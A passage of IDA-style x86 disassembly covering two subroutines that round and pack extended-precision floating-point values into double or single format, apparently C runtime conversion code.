		or	esi, 0FFFFFFE0h
		inc	esi

loc_41BACD:				; CODE XREF: sub_41B9D9+EDj
		and	[ebp+var_4], 0
		sub	ecx, esi
		xor	edx, edx
		inc	edx
		shl	edx, cl
		lea	ecx, [ebp+eax*4+var_20]
		mov	esi, [ecx]
		add	esi, edx
		mov	[ebp+arg_0], esi
		mov	esi, [ecx]
		cmp	[ebp+arg_0], esi
		jb	short loc_41BB0C
		cmp	[ebp+arg_0], edx
		jmp	short loc_41BB0A
; ---------------------------------------------------------------------------

loc_41BAEF:				; CODE XREF: sub_41B9D9+143j
		test	ecx, ecx
		jz	short loc_41BB1E
		and	[ebp+var_4], 0
		lea	ecx, [ebp+eax*4+var_20]
		mov	edx, [ecx]
		lea	esi, [edx+1]
		cmp	esi, edx
		mov	[ebp+arg_0], esi
		jb	short loc_41BB0C
		cmp	esi, 1

loc_41BB0A:				; CODE XREF: sub_41B9D9+114j
		jnb	short loc_41BB13

loc_41BB0C:				; CODE XREF: sub_41B9D9+10Fj
					; sub_41B9D9+12Cj
		mov	[ebp+var_4], 1

loc_41BB13:				; CODE XREF: sub_41B9D9:loc_41BB0Aj
		dec	eax
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	ecx, [ebp+var_4]
		jns	short loc_41BAEF

loc_41BB1E:				; CODE XREF: sub_41B9D9+118j
		mov	[ebp+arg_0], ecx

loc_41BB21:				; CODE XREF: sub_41B9D9+B5j
					; sub_41B9D9+D8j
		mov	ecx, [ebp+var_8]
		or	eax, 0FFFFFFFFh
		shl	eax, cl
		and	[edi], eax
		mov	eax, [ebp+var_C]
		inc	eax
		cmp	eax, 3
		jge	short loc_41BB41
		push	3
		pop	ecx
		lea	edi, [ebp+eax*4+var_20]
		sub	ecx, eax
		xor	eax, eax
		rep stosd

loc_41BB41:				; CODE XREF: sub_41B9D9+159j
		cmp	[ebp+arg_0], 0
		jz	short loc_41BB48
		inc	ebx

loc_41BB48:				; CODE XREF: sub_41B9D9+16Cj
		mov	eax, dword_424214
		mov	ecx, eax
		sub	ecx, dword_424218
		cmp	ebx, ecx
		jge	short loc_41BB66
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		stosd
		jmp	loc_41BD73
; ---------------------------------------------------------------------------

loc_41BB66:				; CODE XREF: sub_41B9D9+17Ej
		cmp	ebx, eax
		jg	loc_41BD7D
		sub	eax, [ebp+var_10]
		lea	esi, [ebp+var_2C]
		mov	ecx, eax
		lea	edi, [ebp+var_20]
		movsd
		cdq
		and	edx, 1Fh
		add	eax, edx
		movsd
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		movsd
		jns	short loc_41BB94
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41BB94:				; CODE XREF: sub_41B9D9+1B4j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi

loc_41BBAF:				; CODE XREF: sub_41B9D9+201j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
		jl	short loc_41BBAF
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_41BBE9:				; CODE XREF: sub_41B9D9+227j
		cmp	edx, eax
		jl	short loc_41BBF5
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41BBFA
; ---------------------------------------------------------------------------

loc_41BBF5:				; CODE XREF: sub_41B9D9+212j
		and	[ebp+edx*4+var_20], 0

loc_41BBFA:				; CODE XREF: sub_41B9D9+21Aj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41BBE9
		mov	esi, dword_424218
		dec	esi
		lea	ecx, [esi+1]
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	edx, ecx
		and	edx, 8000001Fh
		mov	[ebp+var_C], eax
		jns	short loc_41BC29
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41BC29:				; CODE XREF: sub_41B9D9+249j
		push	1Fh
		pop	ecx
		sub	ecx, edx
		xor	edx, edx
		inc	edx
		shl	edx, cl
		lea	ebx, [ebp+eax*4+var_20]
		mov	[ebp+var_10], ecx
		test	[ebx], edx
		jz	loc_41BCC4
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[ebp+eax*4+var_20], edx
		jmp	short loc_41BC54
; ---------------------------------------------------------------------------

loc_41BC4F:				; CODE XREF: sub_41B9D9+281j
		cmp	[ebp+eax*4+var_20], 0

loc_41BC54:				; CODE XREF: sub_41B9D9+274j
		jnz	short loc_41BC5E
		inc	eax
		cmp	eax, 3
		jl	short loc_41BC4F
		jmp	short loc_41BCC4
; ---------------------------------------------------------------------------

loc_41BC5E:				; CODE XREF: sub_41B9D9:loc_41BC54j
		mov	eax, esi
		cdq
		push	1Fh
		pop	ecx
		and	edx, ecx
		add	eax, edx
		sar	eax, 5
		and	esi, 8000001Fh
		jns	short loc_41BC78
		dec	esi
		or	esi, 0FFFFFFE0h
		inc	esi

loc_41BC78:				; CODE XREF: sub_41B9D9+298j
		and	[ebp+arg_0], 0
		xor	edx, edx
		sub	ecx, esi
		inc	edx
		shl	edx, cl
		lea	ecx, [ebp+eax*4+var_20]
		mov	esi, [ecx]
		lea	edi, [esi+edx]
		cmp	edi, esi
		jb	short loc_41BC94
		cmp	edi, edx
		jnb	short loc_41BC9B

loc_41BC94:				; CODE XREF: sub_41B9D9+2B5j
		mov	[ebp+arg_0], 1

loc_41BC9B:				; CODE XREF: sub_41B9D9+2B9j
		mov	[ecx], edi
		mov	ecx, [ebp+arg_0]
		jmp	short loc_41BCC1
; ---------------------------------------------------------------------------

loc_41BCA2:				; CODE XREF: sub_41B9D9+2E9j
		test	ecx, ecx
		jz	short loc_41BCC4
		lea	ecx, [ebp+eax*4+var_20]
		mov	edx, [ecx]
		lea	esi, [edx+1]
		xor	edi, edi
		cmp	esi, edx
		jb	short loc_41BCBA
		cmp	esi, 1
		jnb	short loc_41BCBD

loc_41BCBA:				; CODE XREF: sub_41B9D9+2DAj
		xor	edi, edi
		inc	edi

loc_41BCBD:				; CODE XREF: sub_41B9D9+2DFj
		mov	[ecx], esi
		mov	ecx, edi

loc_41BCC1:				; CODE XREF: sub_41B9D9+2C7j
		dec	eax
		jns	short loc_41BCA2

loc_41BCC4:				; CODE XREF: sub_41B9D9+263j
					; sub_41B9D9+283j ...
		mov	ecx, [ebp+var_10]
		or	eax, 0FFFFFFFFh
		shl	eax, cl
		and	[ebx], eax
		mov	eax, [ebp+var_C]
		inc	eax
		cmp	eax, 3
		jge	short loc_41BCE4
		push	3
		pop	ecx
		lea	edi, [ebp+eax*4+var_20]
		sub	ecx, eax
		xor	eax, eax
		rep stosd

loc_41BCE4:				; CODE XREF: sub_41B9D9+2FCj
		mov	ecx, dword_42421C
		inc	ecx
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_41BD05
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41BD05:				; CODE XREF: sub_41B9D9+325j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi

loc_41BD20:				; CODE XREF: sub_41B9D9+372j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
		jl	short loc_41BD20
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_41BD5A:				; CODE XREF: sub_41B9D9+398j
		cmp	edx, eax
		jl	short loc_41BD66
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41BD6B
; ---------------------------------------------------------------------------

loc_41BD66:				; CODE XREF: sub_41B9D9+383j
		and	[ebp+edx*4+var_20], 0

loc_41BD6B:				; CODE XREF: sub_41B9D9+38Bj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41BD5A

loc_41BD73:				; CODE XREF: sub_41B9D9+188j
		push	2
		xor	ebx, ebx
		pop	eax
		jmp	loc_41BED7
; ---------------------------------------------------------------------------

loc_41BD7D:				; CODE XREF: sub_41B9D9+18Fj
		cmp	ebx, dword_424210
		mov	ecx, dword_42421C
		jl	loc_41BE3C
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		stosd
		or	[ebp+var_20], 80000000h
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_41BDB8
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41BDB8:				; CODE XREF: sub_41B9D9+3D8j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi

loc_41BDD3:				; CODE XREF: sub_41B9D9+425j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
		jl	short loc_41BDD3
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_41BE0D:				; CODE XREF: sub_41B9D9+44Bj
		cmp	edx, eax
		jl	short loc_41BE19
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41BE1E
; ---------------------------------------------------------------------------

loc_41BE19:				; CODE XREF: sub_41B9D9+436j
		and	[ebp+edx*4+var_20], 0

loc_41BE1E:				; CODE XREF: sub_41B9D9+43Ej
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41BE0D
		mov	eax, dword_424210
		mov	ecx, dword_424224
		lea	ebx, [ecx+eax]
		xor	eax, eax
		inc	eax
		jmp	loc_41BED7
; ---------------------------------------------------------------------------

loc_41BE3C:				; CODE XREF: sub_41B9D9+3B0j
		mov	eax, dword_424224
		and	[ebp+var_20], 7FFFFFFFh
		add	ebx, eax
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_41BE64
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41BE64:				; CODE XREF: sub_41B9D9+484j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	esi, 0FFFFFFFFh
		mov	ecx, edx
		shl	esi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	esi

loc_41BE7F:				; CODE XREF: sub_41B9D9+4D4j
		mov	ecx, [ebp+arg_0]
		mov	edi, [ebp+ecx*4+var_20]
		mov	ecx, edi
		and	ecx, esi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	edi, [ebp+var_C]
		mov	[ebp+ecx*4+var_20], edi
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		shl	edi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], edi
		jl	short loc_41BE7F
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_41BEBC:				; CODE XREF: sub_41B9D9+4FAj
		cmp	edx, eax
		jl	short loc_41BEC8
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41BECD
; ---------------------------------------------------------------------------

loc_41BEC8:				; CODE XREF: sub_41B9D9+4E5j
		and	[ebp+edx*4+var_20], 0

loc_41BECD:				; CODE XREF: sub_41B9D9+4EDj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41BEBC
		xor	eax, eax

loc_41BED7:				; CODE XREF: sub_41B9D9+39Fj
					; sub_41B9D9+45Ej
		pop	esi

loc_41BED8:				; CODE XREF: sub_41B9D9+55j
					; sub_41B9D9+65j
		push	1Fh
		pop	ecx
		sub	ecx, dword_42421C
		shl	ebx, cl
		mov	ecx, [ebp+var_14]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	ebx, ecx
		mov	ecx, dword_424220
		or	ebx, [ebp+var_20]
		cmp	ecx, 40h
		jnz	short loc_41BF0D
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1C]
		mov	[ecx+4], ebx
		mov	[ecx], edx
		jmp	short loc_41BF17
; ---------------------------------------------------------------------------

loc_41BF0D:				; CODE XREF: sub_41B9D9+525j
		cmp	ecx, 20h
		jnz	short loc_41BF17
		mov	ecx, [ebp+arg_4]
		mov	[ecx], ebx

loc_41BF17:				; CODE XREF: sub_41B9D9+532j
					; sub_41B9D9+537j
		pop	edi
		pop	ebx
		leave
		retn
sub_41B9D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BF1B	proc near		; CODE XREF: sub_41B5C3+44p

var_2C		= byte ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, [ebp+arg_0]
		movzx	ecx, word ptr [eax+0Ah]
		push	ebx
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+var_14], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_20], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		push	edi
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_18], eax
		jnz	short loc_41BF85
		xor	ebx, ebx
		xor	eax, eax

loc_41BF62:				; CODE XREF: sub_41BF1B+51j
		cmp	[ebp+eax*4+var_20], ebx
		jnz	short loc_41BF75
		inc	eax
		cmp	eax, 3
		jl	short loc_41BF62
		xor	eax, eax
		jmp	loc_41C41A
; ---------------------------------------------------------------------------

loc_41BF75:				; CODE XREF: sub_41BF1B+4Bj
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		push	2
		stosd
		pop	eax
		jmp	loc_41C41A
; ---------------------------------------------------------------------------

loc_41BF85:				; CODE XREF: sub_41BF1B+41j
		and	[ebp+arg_0], 0
		push	esi
		lea	esi, [ebp+var_20]
		lea	edi, [ebp+var_2C]
		movsd
		movsd
		movsd
		mov	esi, dword_424230
		dec	esi
		lea	ecx, [esi+1]
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	edx, ecx
		and	edx, 8000001Fh
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], eax
		jns	short loc_41BFBD
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41BFBD:				; CODE XREF: sub_41BF1B+9Bj
		lea	edi, [ebp+eax*4+var_20]
		push	1Fh
		xor	eax, eax
		pop	ecx
		sub	ecx, edx
		inc	eax
		shl	eax, cl
		mov	[ebp+var_8], ecx
		test	[edi], eax
		jz	loc_41C063
		mov	eax, [ebp+var_C]
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[ebp+eax*4+var_20], edx
		jmp	short loc_41BFEB
; ---------------------------------------------------------------------------

loc_41BFE6:				; CODE XREF: sub_41BF1B+D6j
		cmp	[ebp+eax*4+var_20], 0

loc_41BFEB:				; CODE XREF: sub_41BF1B+C9j
		jnz	short loc_41BFF5
		inc	eax
		cmp	eax, 3
		jl	short loc_41BFE6
		jmp	short loc_41C063
; ---------------------------------------------------------------------------

loc_41BFF5:				; CODE XREF: sub_41BF1B:loc_41BFEBj
		mov	eax, esi
		cdq
		push	1Fh
		pop	ecx
		and	edx, ecx
		add	eax, edx
		sar	eax, 5
		and	esi, 8000001Fh
		jns	short loc_41C00F
		dec	esi
		or	esi, 0FFFFFFE0h
		inc	esi

loc_41C00F:				; CODE XREF: sub_41BF1B+EDj
		and	[ebp+var_4], 0
		sub	ecx, esi
		xor	edx, edx
		inc	edx
		shl	edx, cl
		lea	ecx, [ebp+eax*4+var_20]
		mov	esi, [ecx]
		add	esi, edx
		mov	[ebp+arg_0], esi
		mov	esi, [ecx]
		cmp	[ebp+arg_0], esi
		jb	short loc_41C04E
		cmp	[ebp+arg_0], edx
		jmp	short loc_41C04C
; ---------------------------------------------------------------------------

loc_41C031:				; CODE XREF: sub_41BF1B+143j
		test	ecx, ecx
		jz	short loc_41C060
		and	[ebp+var_4], 0
		lea	ecx, [ebp+eax*4+var_20]
		mov	edx, [ecx]
		lea	esi, [edx+1]
		cmp	esi, edx
		mov	[ebp+arg_0], esi
		jb	short loc_41C04E
		cmp	esi, 1

loc_41C04C:				; CODE XREF: sub_41BF1B+114j
		jnb	short loc_41C055

loc_41C04E:				; CODE XREF: sub_41BF1B+10Fj
					; sub_41BF1B+12Cj
		mov	[ebp+var_4], 1

loc_41C055:				; CODE XREF: sub_41BF1B:loc_41C04Cj
		dec	eax
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	ecx, [ebp+var_4]
		jns	short loc_41C031

loc_41C060:				; CODE XREF: sub_41BF1B+118j
		mov	[ebp+arg_0], ecx

loc_41C063:				; CODE XREF: sub_41BF1B+B5j
					; sub_41BF1B+D8j
		mov	ecx, [ebp+var_8]
		or	eax, 0FFFFFFFFh
		shl	eax, cl
		and	[edi], eax
		mov	eax, [ebp+var_C]
		inc	eax
		cmp	eax, 3
		jge	short loc_41C083
		push	3
		pop	ecx
		lea	edi, [ebp+eax*4+var_20]
		sub	ecx, eax
		xor	eax, eax
		rep stosd

loc_41C083:				; CODE XREF: sub_41BF1B+159j
		cmp	[ebp+arg_0], 0
		jz	short loc_41C08A
		inc	ebx

loc_41C08A:				; CODE XREF: sub_41BF1B+16Cj
		mov	eax, dword_42422C
		mov	ecx, eax
		sub	ecx, dword_424230
		cmp	ebx, ecx
		jge	short loc_41C0A8
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		stosd
		jmp	loc_41C2B5
; ---------------------------------------------------------------------------

loc_41C0A8:				; CODE XREF: sub_41BF1B+17Ej
		cmp	ebx, eax
		jg	loc_41C2BF
		sub	eax, [ebp+var_10]
		lea	esi, [ebp+var_2C]
		mov	ecx, eax
		lea	edi, [ebp+var_20]
		movsd
		cdq
		and	edx, 1Fh
		add	eax, edx
		movsd
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		movsd
		jns	short loc_41C0D6
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41C0D6:				; CODE XREF: sub_41BF1B+1B4j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi

loc_41C0F1:				; CODE XREF: sub_41BF1B+201j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
		jl	short loc_41C0F1
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_41C12B:				; CODE XREF: sub_41BF1B+227j
		cmp	edx, eax
		jl	short loc_41C137
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41C13C
; ---------------------------------------------------------------------------

loc_41C137:				; CODE XREF: sub_41BF1B+212j
		and	[ebp+edx*4+var_20], 0

loc_41C13C:				; CODE XREF: sub_41BF1B+21Aj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41C12B
		mov	esi, dword_424230
		dec	esi
		lea	ecx, [esi+1]
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	edx, ecx
		and	edx, 8000001Fh
		mov	[ebp+var_C], eax
		jns	short loc_41C16B
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41C16B:				; CODE XREF: sub_41BF1B+249j
		push	1Fh
		pop	ecx
		sub	ecx, edx
		xor	edx, edx
		inc	edx
		shl	edx, cl
		lea	ebx, [ebp+eax*4+var_20]
		mov	[ebp+var_10], ecx
		test	[ebx], edx
		jz	loc_41C206
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[ebp+eax*4+var_20], edx
		jmp	short loc_41C196
; ---------------------------------------------------------------------------

loc_41C191:				; CODE XREF: sub_41BF1B+281j
		cmp	[ebp+eax*4+var_20], 0

loc_41C196:				; CODE XREF: sub_41BF1B+274j
		jnz	short loc_41C1A0
		inc	eax
		cmp	eax, 3
		jl	short loc_41C191
		jmp	short loc_41C206
; ---------------------------------------------------------------------------

loc_41C1A0:				; CODE XREF: sub_41BF1B:loc_41C196j
		mov	eax, esi
		cdq
		push	1Fh
		pop	ecx
		and	edx, ecx
		add	eax, edx
		sar	eax, 5
		and	esi, 8000001Fh
		jns	short loc_41C1BA
		dec	esi
		or	esi, 0FFFFFFE0h
		inc	esi

loc_41C1BA:				; CODE XREF: sub_41BF1B+298j
		and	[ebp+arg_0], 0
		xor	edx, edx
		sub	ecx, esi
		inc	edx
		shl	edx, cl
		lea	ecx, [ebp+eax*4+var_20]
		mov	esi, [ecx]
		lea	edi, [esi+edx]
		cmp	edi, esi
		jb	short loc_41C1D6
		cmp	edi, edx
		jnb	short loc_41C1DD

loc_41C1D6:				; CODE XREF: sub_41BF1B+2B5j
		mov	[ebp+arg_0], 1

loc_41C1DD:				; CODE XREF: sub_41BF1B+2B9j
		mov	[ecx], edi
		mov	ecx, [ebp+arg_0]
		jmp	short loc_41C203
; ---------------------------------------------------------------------------

loc_41C1E4:				; CODE XREF: sub_41BF1B+2E9j
		test	ecx, ecx
		jz	short loc_41C206
		lea	ecx, [ebp+eax*4+var_20]
		mov	edx, [ecx]
		lea	esi, [edx+1]
		xor	edi, edi
		cmp	esi, edx
		jb	short loc_41C1FC
		cmp	esi, 1
		jnb	short loc_41C1FF

loc_41C1FC:				; CODE XREF: sub_41BF1B+2DAj
		xor	edi, edi
		inc	edi

loc_41C1FF:				; CODE XREF: sub_41BF1B+2DFj
		mov	[ecx], esi
		mov	ecx, edi

loc_41C203:				; CODE XREF: sub_41BF1B+2C7j
		dec	eax
		jns	short loc_41C1E4

loc_41C206:				; CODE XREF: sub_41BF1B+263j
					; sub_41BF1B+283j ...
		mov	ecx, [ebp+var_10]
		or	eax, 0FFFFFFFFh
		shl	eax, cl
		and	[ebx], eax
		mov	eax, [ebp+var_C]
		inc	eax
		cmp	eax, 3
		jge	short loc_41C226
		push	3
		pop	ecx
		lea	edi, [ebp+eax*4+var_20]
		sub	ecx, eax
		xor	eax, eax
		rep stosd

loc_41C226:				; CODE XREF: sub_41BF1B+2FCj
		mov	ecx, dword_424234
		inc	ecx
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_41C247
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41C247:				; CODE XREF: sub_41BF1B+325j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi

loc_41C262:				; CODE XREF: sub_41BF1B+372j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
		jl	short loc_41C262
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_41C29C:				; CODE XREF: sub_41BF1B+398j
		cmp	edx, eax
		jl	short loc_41C2A8
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41C2AD
; ---------------------------------------------------------------------------

loc_41C2A8:				; CODE XREF: sub_41BF1B+383j
		and	[ebp+edx*4+var_20], 0

loc_41C2AD:				; CODE XREF: sub_41BF1B+38Bj
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41C29C

loc_41C2B5:				; CODE XREF: sub_41BF1B+188j
		push	2
		xor	ebx, ebx
		pop	eax
		jmp	loc_41C419
; ---------------------------------------------------------------------------

loc_41C2BF:				; CODE XREF: sub_41BF1B+18Fj
		cmp	ebx, dword_424228
		mov	ecx, dword_424234
		jl	loc_41C37E
		xor	eax, eax
		lea	edi, [ebp+var_20]
		stosd
		stosd
		stosd
		or	[ebp+var_20], 80000000h
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_41C2FA
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41C2FA:				; CODE XREF: sub_41BF1B+3D8j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	edi, 0FFFFFFFFh
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	edi

loc_41C315:				; CODE XREF: sub_41BF1B+425j
		mov	ebx, [ebp+arg_0]
		lea	ebx, [ebp+ebx*4+var_20]
		mov	esi, [ebx]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+var_4]
		or	esi, [ebp+var_C]
		mov	[ebx], esi
		mov	esi, [ebp+var_10]
		shl	esi, cl
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		mov	[ebp+var_C], esi
		jl	short loc_41C315
		mov	esi, eax
		push	2
		shl	esi, 2
		lea	ecx, [ebp+var_18]
		pop	edx
		sub	ecx, esi

loc_41C34F:				; CODE XREF: sub_41BF1B+44Bj
		cmp	edx, eax
		jl	short loc_41C35B
		mov	esi, [ecx]
		mov	[ebp+edx*4+var_20], esi
		jmp	short loc_41C360
; ---------------------------------------------------------------------------

loc_41C35B:				; CODE XREF: sub_41BF1B+436j
		and	[ebp+edx*4+var_20], 0

loc_41C360:				; CODE XREF: sub_41BF1B+43Ej
		dec	edx
		sub	ecx, 4
		test	edx, edx
		jge	short loc_41C34F
		mov	eax, dword_424228
		mov	ecx, dword_42423C
		lea	ebx, [ecx+eax]
		xor	eax, eax
		inc	eax
		jmp	loc_41C419
; ---------------------------------------------------------------------------

loc_41C37E:				; CODE XREF: sub_41BF1B+3B0j
		mov	eax, dword_42423C
		and	[ebp+var_20], 7FFFFFFFh
		add	ebx, eax
		mov	eax, ecx
		cdq
		and	edx, 1Fh
		add	eax, edx
		mov	edx, ecx
		sar	eax, 5
		and	edx, 8000001Fh
		jns	short loc_41C3A6
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_41C3A6:				; CODE XREF: sub_41BF1B+484j
		and	[ebp+var_C], 0
		and	[ebp+arg_0], 0
		or	esi, 0FFFFFFFFh
		mov	ecx, edx
		shl	esi, cl
		mov	[ebp+var_4], 20h
		sub	[ebp+var_4], edx
		not	esi

loc_41C3C1:				; CODE XREF: sub_41BF1B+4D4j
		mov	ecx, [ebp+arg_0]
		mov	edi, [ebp+ecx*4+var_20]
		mov	ecx, edi
		and	ecx, esi
		mov	[ebp+var_10], ecx
		mov	ecx, edx
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
